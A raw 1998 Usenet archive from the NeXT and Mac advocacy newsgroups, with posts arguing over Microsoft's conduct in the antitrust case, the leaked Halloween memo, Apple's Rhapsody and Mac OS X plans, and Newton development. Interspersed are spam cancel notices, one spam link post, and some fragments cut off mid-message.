Message-ID: <71l9pf$mr5$1@news.iswest.net>
References: <71ko1u$7u1@newsb.netnews.att.com> <B2633AF9-75F6@206.165.43.97> <71kr6m$ang@newsb.netnews.att.com>
In-Reply-To: <71kr6m$ang@newsb.netnews.att.com>
>Lawson English <english@primenet.com> wrote:
>
>>But there WAS arm-twisting in regard to OpenDoc. Apparently Gates felt that
>>OpenDoc was a bigger threat to him that Rhapsody...
If you don't think Gates was worried about Apple adopting NeXTstep, you
should read the description of the conversation between Amilio and Gates
over Apple's OS direction in Gil Amilio's book _On the Firing Line_.
Steve
have
flipped between thinking that they were really trying to kill the
technology themselves ... and thinking that they really were victims of
their own culture.
Eric Raymond, in reviewing the "Halloween" memo, says that Microsoft
cannot see Open Source Software as other people do. Their position
within Microsoft prevents it. Is it possible that people within Apple has
a similar problem? Perhaps they cannot know how we, the independent
developers, see technologies.
Apple talks to Apple Developers. Those are a select crew who wait for
each technological advancement from Apple. Does that make it too
difficult for them to know what the rest of us are thinking?
John
From: jpolaski@NOwwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Message-ID: <jpolaski-0211981657410001@d149-220.ce.mediaone.net>
References: <71l58n$oh5@newsb.netnews.att.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Mon, 02 Nov 1998 16:57:41 -0600
NNTP-Posting-Date: Mon, 02 Nov 1998 16:57:40 CDT
In article <71l58n$oh5@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> Check :
> http://www.tuxedo.org/~esr/halloween.html
>
> It purports to be an internal strategy memorandum on Microsoft's
> possible responses to the Linux,open source phenomenon.
>
> As the author says, take a copy while you can, before MS sues to
> shut it down.
>
> -arun gupta
=====
If M$ sues now, it probably plays right into the lawsuit.
If M$ doesn't sue, then Open Source only gains momentum
So maybe M$ is between a rock and a hard place...maybe.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Dilemma
Message-ID: <edewF1tIx8.FEr@netcom.com>
Sender: edew@netcom19.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <71aovh$hkc@newsb.netnews.att.com> <mroeder-2910981634130001@192.168.21.136>
Date: Mon, 2 Nov 1998 23:36:44 GMT
In article <mroeder-2910981634130001@192.168.21.136> mroeder@macromedia.com (mroeder) writes:
>In article <71aovh$hkc@newsb.netnews.att.com>,
>gupta@knim.tm.tta.moc-mirror after @ wrote:
>
>> Some people say that Apple should become a software company.
>> Apple should slowly migrate to generic Intel hardware, or
>> license out at very low price the PowerPC hardware, and
>> concentrate on producing software -- OSes, and middleware
>> and maybe even applications. One strong argument is that
>> hardware is a commodity, with strong downward price pressure,
>> is hard to have reasonable margins, etc.
>>
>> Others want Apple to be a hardware company -- sell Linux,
>> free up MacOS X Server, etc., and try to sell as many boxes
>> as possible. The argument here is that the free source movement
>> will make the OS, browsers, Web servers, etc. into freeware,
>> there can't be a lot of money in that. As it is, most of
>> Apple's revenue comes from hardware. What Apple lacks is
>> development support; freeing up source code and/or binaries
>> will bring developers in.
>>
>> (There is also a third way -- proposed by rabid Wintel advocates --
>> that Apple should simply close shop.)
>>
>> What is the Think Different way ?
>>
>> -arun gupta
>
They should keep the course, of course. Any deviation in product line
have negative connotations. However, what they should be doing in the
background is working to improve hardware and software support from other
companies. That is, they should not fight against Intel or AMD or Cyrix
or (name your favorite CPU maker). They should not fight against all the
ISVs (if they do, I don't know). Whatever it is, they should make it
as cozy as possible for others so that they create a strong network of
companies which NEED Apple's continual existence and growth for themselves
to grow.
EDEW
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 3 Nov 1998 00:11:45 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0211981911060001@pm51-27.magicnet.net>
References: <71l58n$oh5@newsb.netnews.att.com> <jpolaski-0211981657410001@d149-220.ce.mediaone.net>
jpolaski@NOwwa.com (Jim Polaski) wrote:
> gupta@knim.tm.tta.moc-mirror after @ wrote:
>
> > Check :
> > http://www.tuxedo.org/~esr/halloween.html
> >
> > It purports to be an internal strategy memorandum on Microsoft's
> > possible responses to the Linux,open source phenomenon.
> >
> > As the author says, take a copy while you can, before MS sues to
> > shut it down.
> >
> > -arun gupta
> =====
> If M$ sues now, it probably plays right into the lawsuit.
>
> If M$ doesn't sue, then Open Source only gains momentum
>
> So maybe M$ is between a rock and a hard place...maybe.
It's looking rickier and harder all of the time. The memo has supposedly
been confirmed by some other sources. Check Slashdot for more details...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 3 Nov 1998 00:40:46 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71ljee$mj2$1@cronkite.cs.umd.edu>
References: <71l1mc$e2o$1@nnrp1.dejanews.com> <B263610E-179AA@206.165.43.141>
NNTP-Posting-Date: 3 Nov 1998 00:40:46 GMT
Lawson English (english@primenet.com) wrote:
> milo_mklinux@my-dejanews.com said:
>>> --Sean, who's writing this *ON* a Newton MessagePad 2000, and who just
>>> coded his first Newton app, a complex Chinese input system, in just three
>>> evenings after poking around with a radically unusual language
>>> (NewtonScript) and a totally different development environment (Newton
>>> Toolkit). Let's see a new WinCE developer do *that*.
>>
>> Please forgive my asking, but why are you developing products for a dead
>> platform?
> Because he wants to deal with Newton customers?
> Why am I developing a product using a dead graphics library?
> Because *I* can also deal with existing customers.
Good response. It was a fair question, though. In fact, I am developing
Newton software for only one customer: me. I own an MP2000, there are
apps I need but don't exist, so I'll write 'em. That other people find
them useful (and they well may) is coincidental.
Milo, you'd probably be amazed by how many Newton customers there are out
there. More than NeXT's installed base (note the newsgroup :-). Apple
sold a lot more of those doodads than many people think, and most of them
are still rather competitive with existing *new* WinCE boxes. It's why,
for example, that the MP2100 has held its value so well (still selling at
around $900 used, long after Apple stopped selling it for $1100 new).
'Course, I'm mulling over writing another NeXTSTEP-only app too...
Sean
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 1998 00:49:45 GMT
Organization: Primenet (602)416-7000
Message-ID: <71ljv9$1f4$2@nnrp03.primenet.com>
References: <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141>
Lawson English <english@primenet.com> wrote:
: Coincidentally, nearly all of these have cross-platform applications, so
: the needs of the Apple-only Developer and the Top 100 Developer are likely
: NOT at all the same.
That is where I was going. The difficulty is that the Top 10 or 20
Developers are benefiting from the status quo. Apple isn't likely to find
OS-revolutionaries among their ranks. I mean, if Adobe would rather stay
and make money with Windows ... perhaps the rest of the 100 view
themselves the same way. Or they would like a revolution but can't cost-
justify it.
I think the Be people have had this figured out for a while. They went
looking for revolutionaries and offered them a place on the ground floor.
John
chen to be impatient, dart about, fr. (assumed) ONF wenchier, of Gmc
origin; akin to OHG wanko¯n to totter, OE wincian to wink]
(13c)
to shrink back involuntarily (as from pain): FLINCH
syn see RECOIL
˜ wince n
§ Thesaurus:
wincevb
syn RECOIL, blanch, blench, flinch, quail, shrink, squinch, start
rel dodge, duck, jib, sheer, swerve, turn; cower, cringe
}->
--Tom.
From: dlw@wingchun.com
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71kt7n$her@newsb.netnews.att.com>
Organization: Planet Wing Chun
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-STABLE (i386))
Date: 03 Nov 1998 00:48:23 GMT
Message-ID: <363e52d7$0$29765@nntp1.ba.best.com>
In comp.sys.next.advocacy gupta@knim.tm.tta.moc-mirror after @ wrote:
: "Is Apple another whining competitor ?"
: at
: http://webserv.vnunet.com/www_user/plsql/pkg_vnu_news.right_frame?p_story=67433
: points out several flaws in Tevanian's testimony.
Well more like adopts a Pro Microsoft stance.
The statements quoted in Avie's 45 statement which I just read, clearly
show Microsoft using monopoly power to threaten both Apple, Compaq & Avid
among others. It was clear from the senate hearing before that many of
the other computer vendors like DELL were too scared of Bill Gates to
state the truth--yet the senator's staff showed from calling their
company stores just how impossible it was to even ORDER a machine with
Netscape on it. All courtesy of Microsoft.
What Dominique should comment on is how LAUGHABLE it is that Bill Gates
refused to acknowledge that his OS is so dominant in the marketplace.
What the hell is 90% share?
Yes it is amazing that Apple is still in business given how they treat
their customers and their developers. The same could be said EVEN more
so with Jobs and NeXT. Its genetic at Apple.
MS has a monopoly. The question will be if the government has the balls
to do anything about it in the final analysis. In this case I mean the
court system. Bill Gates is the richest man in the world. Lets see
what happens with all that money and power.
--
David Williams mailto:dlw@wingchun.com
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>
<rdm-0111980905280001@140.174.42.30>
Message-ID: <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com>
Date: Tue, 03 Nov 1998 02:52:51 GMT
NNTP-Posting-Date: Mon, 02 Nov 1998 18:52:51 PDT
Organization: @Home Network
In <rdm-0111980905280001@140.174.42.30> Rich Morin wrote:
> In article <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> > Maybe... Apple could shoot itself in the foot and choose to take the
Unix
> > "high-road" ala Macintosh marketing strategy. They may push Mac GUI
> > superiority to justify a "high-price" in the unix marketplace.
>
> They may, but they are well positioned not to do so. Both Mach 3 and
4.4BSD-
> Lite are Open Source software (but not, by and large, GPLed). Everyhing
else
> in Mac OS X (more or less) belongs to Apple. So, Apple is in a position
where
> it does not have to pay any royalties. This would allow them to price Mac
OS X
> down in the Mac OS price range, if they chose to do so.
>
>
Jobs has traditionally used pricing to scale sales to overhead costs. Too
low sales price overwhelmes tech support. Apple's worst nightmare would be
MacOS X Server overnight success. They couldn't gear up fast enough.
-r
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT
Date: 3 Nov 1998 03:30:05 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71ltbt$kts@newsb.netnews.att.com>
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com> <rdm-0111980905280001@140.174.42.30> <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com>
Originator: gupta@tlctest
Rex Riley <rr6013@yahoo.com> wrote:
>Jobs has traditionally used pricing to scale sales to overhead costs. Too
>low sales price overwhelmes tech support. Apple's worst nightmare would be
>MacOS X Server overnight success. They couldn't gear up fast enough.
http://www.amcity.com/sacramento/stories/110298/story4.html
Quote :
And Apple has shelved its effort to sell a vacant building in Laguna
where it formerly produced circuit boards. Instead, the building
will be turned into a customer service call center which is expected
to employ more than 100.
[The company refuses to confirm.]
-arun gupta
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Date: 3 Nov 1998 04:07:39 GMT
Organization: Simon Fraser University
Message-ID: <71lvib$qpp$1@morgoth.sfu.ca>
References: <F1t9z3.Bq3@T-FCN.Net> <B2637101-538D4@206.165.43.141> <Ufq%1.4718$fS.15509173@news.itd.umich.edu> <cdoutyF1tsJL.L5p@netcom.com>
Chris Douty <cdouty@netcom.com> wrote:
>Jin Kim <kwazyjin@hotmail.com> wrote:
>I would suspect that there is a 64-bit Generation 4 (G4) PPC in the works
>at IBM. The PPC620 is used in their AS/400 machines, which are fairly
Are you sure about that? The AS/400 web page says they use a "PowerPC AS",
which has 4.7 million transistors, while the PowerPC 620 (according to the
old PowerPC FAQ) has 7 million. I was under the impression that the 620 was
not long for this world, having not lived up to its expected performance ratio
versus the successful 604e.
>popular. In fact OS/400 relies on certain PPC features and the 64-bit
>implementation AFAIK.
I think you're right about the 64-bitness of OS/400...It's supposed to be a
painfully beautiful design; Chris Robato has described it on this newsgroup
a few times... :). Speaking of popular, I recently heard (second-hand) from
a guy who ordered one weeks ago that IBM is having trouble meeting demand
for them, and doesn't know when they'll catch up (sounds famililar... ;).
>This does not mean that the supposed 64-bit G4 would be used or even be
>suitable for Macs. Apple has released essentially zero information on
>any 64-bit OS plans. What they did say seemed related to Rhapsody and
>its successors in a nebulous future.
True, I think that SMP support is more important anyway (especially by the
time Moto's MERSI-enabled G4 arrives in mid '99), and they haven't made any
promises on that either. But I imagine it is one of Avie's priorities, when
he's not busy testifying for the DOJ...
-- Erick
Date: Mon, 02 Nov 1998 19:48:26 -0800
From: mtnw.980830@fdlinn.vip.best.com (Frank L.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <mtnw.980830-0211981948310001@fdlinn.vip.best.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <see-below-0211981156120001@dynamic8.pm09.mv.best.com> <363E6097.BED70450@yahoo.com>
Organization: Hashed
In article <363E6097.BED70450@yahoo.com>, Robert Fovell
<rfovell@yahoo.com> wrote:
> I see (at least) two problems convolved here. First, it's very hard for
Apple to
> blame MS if Rhapsody/OS X is not widely accepted. Even if MS fights against
> Rhapsody with both action and inaction, legal or otherwise. Because, IMHO,
> Apple's track record is sufficiently poor as to call Apple's credibility into
> question. MS can simply say, "the market spoke, we didn't force this,"
even if
> there is past or present blood on their hands.
By the time that Rhapsody was announced, MS did not consider Apple much of
a threat. In the corporate IT world, which is what I know best, the Mac
was already considered a dead platform. There wasn't much reason for MS to
try to squash Rhapsody as a desktop OS.
> Second, no matter how it got this way, I think the key word to describe the
> present climate of Microsoft dominance is *inertia*. Given a choice,
people will
> often [not always] go for the common, accepted, safe, standard, popular
option.
> To capture a significant chunk of *present* computing markets, Apple
can't just
> put out an OS that is a little better. Or even just a lot better. At
this point
> in time, it would have to be orders of magnitude better. Will it be that? In
> addition, an OS without killer apps is... you know.
While it is true that corporate IT customers will tend to prefer the
common, accepted, standard, popular option, I don't think that by itself
is the entire story. I am familiar with a large corporate environment
that, until recently, was dominated by Macs in the workplace. In that
environment, there was a lot of intertia to stay with Macs. It was the
abandonment of the Mac by COTS providers of client/server business
software that led to the decision to go with Windows as the standard. When
corporate customers look for this kind of business software (and I mean
the stuff that runs medium-sized to large enterprises, not Office 98),
they don't find much that runs on Macs. I know that, because that was my
job description.
The one thing that could possibly change that situation would be if Java
finally lived up to its promise, and the standard fat-client model of
client/server computing were replaced by a model with a platform
independent, Java/Web browser client. I believe that Java and the promise
of the platform-independent user interface to business software is seen as
a real threat by MS, and they seem to be doing everything in their power
to subvert it. (As to whether Java will live up to its promise, that
remains to be seen.)
>
> OK, that sounds hopeless. But, I don't think it is. Instead of fighting for
> scraps at the current table, maybe Apple has to invent a brand new table.
> Something revolutionary. Like the Newton could have been, if executed
properly.
> What is this revolutionary thing? I don't know. Personally -- and this
is only
> because this is what I know best -- I'd recognize many scientists use
both Macs
> and Unix boxes, and I'd sell Rhapsody as an all-in-one solution
combining power,
> stability and unprecedented Mac-like ease-of-use. It's a start. It's
not enough,
> but it's a start.
While it might not seem credible to some, I think Rhapsody could also have
a market in the corporate server world, assuming that NT 5.0 (or Win 2000
or whatever they call it now) does not live up to its hyped-up promise to
wipe out Unix. However, Apple by itself does not have the credibility to
crack that market. They would have to work with credible Unix box vendors,
like Sun. That would require a major paradigm shift for Apple, and a much
more stable and longer-term business strategy than they have now.
--
Frank
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 02 Nov 1998 17:47:08 -0800
Organization: University of California, Los Angeles
Message-ID: <363E6097.BED70450@yahoo.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <see-below-0211981156120001@dynamic8.pm09.mv.best.com>
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Dohnut wrote:
> However, can you imagine any other new commercial operating system/set of
> API's from any other vendor which would have a better chance of entering
> the market? I feel as if you've so much come to accept Microsoft's
> absolute dominance of the market that you assume it's a natural thing.
>
> I think the point is this demolishes Microsoft's assertions that anyone
> could successfully challenge them if only they had a better product, as
> well as that Microsoft's monopoly in no way stifles innovation. Here is a
> clear example of better technology from a major vendor not standing a
> chance of success, and of people not being able to benefit from very cool
> technology.
Hello, there... LTNS! BTW, are you still keeping on with BeOS? Just curious.
I see (at least) two problems convolved here. First, it's very hard for Apple to
blame MS if Rhapsody/OS X is not widely accepted. Even if MS fights against
Rhapsody with both action and inaction, legal or otherwise. Because, IMHO,
Apple's track record is sufficiently poor as to call Apple's credibility into
question. MS can simply say, "the market spoke, we didn't force this," even if
there is past or present blood on their hands.
Second, no matter how it got this way, I think the key word to describe the
present climate of Microsoft dominance is *inertia*. Given a choice, people will
often [not always] go for the common, accepted, safe, standard, popular option.
To capture a significant chunk of *present* computing markets, Apple can't just
put out an OS that is a little better. Or even just a lot better. At this point
in time, it would have to be orders of magnitude better. Will it be that? In
addition, an OS without killer apps is... you know.
OK, that sounds hopeless. But, I don't think it is. Instead of fighting for
scraps at the current table, maybe Apple has to invent a brand new table.
Something revolutionary. Like the Newton could have been, if executed properly.
What is this revolutionary thing? I don't know. Personally -- and this is only
because this is what I know best -- I'd recognize many scientists use both Macs
and Unix boxes, and I'd sell Rhapsody as an all-in-one solution combining power,
stability and unprecedented Mac-like ease-of-use. It's a start. It's not enough,
but it's a start.
If it seems like I've come to accept Microsoft's dominance as natural... maybe I
have. I saw DOS prevail in the 80s, and various hideous incarnations of Windows
-- up to and including Win 3.1 -- prevail in the 90s. Maybe MS was the
ventriloquist all along, but the market did speak
[snip]
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
Newsgroups: comp.sys.next.advocacy
From: news@news.msfc.nasa.gov
Message-ID: <cancel.363E0C43.11BB9AC4@pacbell.net>
Control: cancel <363E0C43.11BB9AC4@pacbell.net>
Subject: cmsg cancel <363E0C43.11BB9AC4@pacbell.net>
Organization: http://www.msfc.nasa.gov/
Date: Tue, 3 Nov 1998 03:55:36 GMT
Sender: Ian Lynch <dodoria@pacbell.net>
Make Money Fast post canceled by J. Porter Clark.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT
Date: 3 Nov 1998 04:06:44 GMT
Organization: Primenet (602)416-7000
Message-ID: <71lvgk$cr7$1@nnrp02.primenet.com>
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com> <rdm-0111980905280001@140.174.42.30> <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
: Jobs has traditionally used pricing to scale sales to overhead costs. Too
: low sales price overwhelmes tech support. Apple's worst nightmare would be
: MacOS X Server overnight success. They couldn't gear up fast enough.
I heard the story once that IBM killed OS/2 because of a support overload
after a too-successful Warp launch.
That seems sad. You would think there would be a way to have your cake
and eat it too. Perhaps a low priced version with a "Help CD"[*] and a
higher priced version with "Extended Telephone Support"? If you give the
customer two prices they will know what their options are.
* - The IDE CDROM interface is shaken out enough that a bullet-proof help
CD should be possible. The interface would probably have to be generic
VGA.
John
From: josh@vortex.nyu.edu (Josh Fishman)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor: business solutions
Date: Mon, 2 Nov 1998 19:20:19 -0500
Organization: New York University
Message-ID: <slrn73sj8q.ktf.josh@vortex.nyu.edu>
References: <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net>
On Sat, 24 Oct 1998 16:00:22 GMT, Sheldon Gartner wrote:
>
> Yeah--what Apple decided to go full-steam on attacking the NT's
> current strangle hold on enterpise mindshare using straigt Linux:
>
> Port a boatload of Mac apps to Linux and sell Apple hardware with
> Linx-preinstalled (I don't know if it'd be best for them to be
> duel-boot or not.)
... or just subsidize SheepShaver.
- Josh
--
O< ( ( "So [camels] long ago plumped for a lifestyle that, in return
_NH >=O ) ) for a certain ammount of porterage and being prodded with st-
<_>-<_ + :::::-. icks, allowed them adequate food and grooming and the chance
HCl<O> :::`-' to spit in a human's eye and get away with it."-TP on c.l.p.m
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 3 Nov 1998 05:33:45 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71m4jp$fd8@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net> <71j6dk$ro4$1@supernews.com> <363D2DBF.9861F0D4@nstar.net>
On Sun, 01 Nov 1998 21:57:51 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>I still don't get your point. Rex said that Rhapsody *could* have been
>an NT killer but for Apple's lack of focus, Sal said that it couldn't. I
That is not what I said. I stated that I doubt that Apple could sell it
as an NT killer, when you put Apple's current market, and Apple's
reputation in the enterprise market into focus.
>reasonably systematic way. The death of cloning doesn't mean anything to
>me anymore, I assure; I just get a tiny amount of private satisfaction
>from the see-saw effect.
One would wonder what you are doing in CSNA.
From: greatlinksite@mail.com
Newsgroups: comp.sys.next.advocacy
Subject: Great Sex Site
Date: 3 Nov 1998 05:36:06 GMT
Message-ID: <71m4o6$v27$6562@duke.telepac.pt>
check this out:
http://sdf.lonestar.org/~veiga/
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 3 Nov 1998 06:00:56 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net>
References: <71l58n$oh5@newsb.netnews.att.com> <slrn73s78a.5lu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn73s78a.5lu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On 2 Nov 1998 20:38:47 GMT, wrote:
> :Check :
> :http://www.tuxedo.org/~esr/halloween.html
> :
> :It purports to be an internal strategy memorandum on Microsoft's
> :possible responses to the Linux,open source phenomenon.
> :
> :As the author says, take a copy while you can, before MS sues to
> :shut it down.
>
> If they sue, then that means it has to be real, and they have to
> show that they are damaged by its release.
>
> Both of these enhance its value.
>
> Sleazier would be to sue for libel, in which case they would have to
> prove it to be untrue, but if the defendant is allowed to subpoena
> evidence from Microsoft, and assuming it is real, they would have no
> case.
>
What's really disturbing is the memo's call for "decommoditizing"
protocols and applications. Basically it hilights MS' attempts to create a
Microsoft *brand* of P's and A's that infects (and that's an accurate term
for it) the OS and the internet. They're going to try and pull things into
as much a proprietary sphere is they can possibly manage.
I sincerely hope this motivates the OSS powers that be to work that much
harder.
You can't fault MS for trying to protect its assets, but to do so at the
expense of end users and server users they way they're currently
considering is about one millimeter away from pure evil...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 3 Nov 1998 06:49:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71m916$gsa@news1.panix.com>
References: <71l58n$oh5@newsb.netnews.att.com> <jpolaski-0211981657410001@d149-220.ce.mediaone.net>
On Mon, 02 Nov 1998 16:57:41 -0600, Jim Polaski <jpolaski@NOwwa.com> wrote:
>In article <71l58n$oh5@newsb.netnews.att.com>,
>gupta@knim.tm.tta.moc-mirror after @ wrote:
>
>> Check :
>> http://www.tuxedo.org/~esr/halloween.html
>>
>> It purports to be an internal strategy memorandum on Microsoft's
>> possible responses to the Linux,open source phenomenon.
>>
>> As the author says, take a copy while you can, before MS sues to
>> shut it down.
>If M$ sues now, it probably plays right into the lawsuit.
How would suing to stop the spread of stolen property in anyway effect
the antitrust suit?
If anything, it could be used to further MS's "jealous industry" defense.
Newsgroups: comp.sys.next.advocacy
From: news@news.msfc.nasa.gov
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Date: Tue, 3 Nov 1998 06:50:40 GMT
Sender: vmnxmovt@somethingfunny.net
Make Money Fast post canceled by J. Porter Clark.
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: About Linux, and OS-X
Date: Sun, 01 Nov 1998 16:35:18 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <363CFE40.60AACFE1@ncal.verio.com>
References: <x7r9vrjkyo.fsf@loathe.com> <363A1A59.59EA8CC8@ncal.verio.com>
<x7pvb9jdlp.fsf@loathe.com> <71ep3g$27r$1@news.idiom.com> <363BB07D.51083B58@nstar.net>
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Michael J. Peck wrote:
>
> John C. Randolph wrote:
>
> > Or maybe he's a programmer who works for a company that has to meet certain
> > quality standards,
>
> Maybe! Or maybe it's just that he works for a company that has to meet
> certain condescension standards. After all, he pokes his head in here to
> pick on anyone who doesn't buy the party line, and says all sorts of
> cryptic things he's never expected to back up. He's got a cute little
> "wink wink nudge nudge" game going in this NG, and it's nauseating, to
> say the least.
Goodie! Now I'm a condescending party line dillitante. (Those who know me
will find this particularly amusing.) I'm really moving up in the world now.
Of course, everyone knows how very much this hurts me personally, and how much
I crave the acceptance and praise of the highly skilled professionals that
hand out in c.s.n.a... NOT!
About the only thing I pop into this newsgroup for is to correct
mind-bogglingly bogus 'technical information', or to poke fun at the
pretentious yet ignorant opinions sometimes proferred here. (These are often
voiced by those who have a deep emotional involvement in what should be purely
technical issues.)
If what you want to hear is regurgitated technobabble that reinforces your own
world view, just exercise that killfile.
Mike "Say no more, say no more!" Paquette
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: About Linux, and OS-X
Date: Sun, 01 Nov 1998 16:35:25 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <363CFE47.4B30AA9F@ncal.verio.com>
References: <x7r9vrjkyo.fsf@loathe.com> <363A1A59.59EA8CC8@ncal.verio.com> <x7pvb9jdlp.fsf@loathe.com>
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Matt Evans wrote:
>
> Mike Paquette <mpaque@ncal.verio.com> writes:
> > Two weeks, huh? If you can actually organize a project of this scope and see
> > it through to completion in two weeks, I believe I can find a very nice
> > position for you.
>
> maybe you're an inefficient programmer.
*SNORT*
Sounds like a judgement call... Somebody's lacking in good judgement here.
Mike Paquette
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 03 Nov 1998 15:05:03 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <71n2j4$6rv$1@pascal.a2000.nl>
References: <71ko1u$7u1@newsb.netnews.att.com>
<B2633AF9-75F6@206.165.43.97>
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In article <B2633AF9-75F6@206.165.43.97> , "Lawson English"
<english@primenet.com> wrote:
>But there WAS arm-twisting in regard to OpenDoc. Apparently Gates felt that
>OpenDoc was a bigger threat to him that Rhapsody...
>
>Interesting, no?
Dunno. From his perspective, spending time and money on OpenDoc may have
just seemed like a waste.
Pascal.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 3 Nov 1998 06:49:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71m90v$gsa@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
On Tue, 03 Nov 1998 02:47:14 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>In <71ikln$94o@news1.panix.com> Sal Denaro wrote:
>> On Fri, 30 Oct 1998 02:41:44 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>> >Rhapsody has been blown
>> >into a $400 million, 2 yr. PregnantPause when it could have been crafted
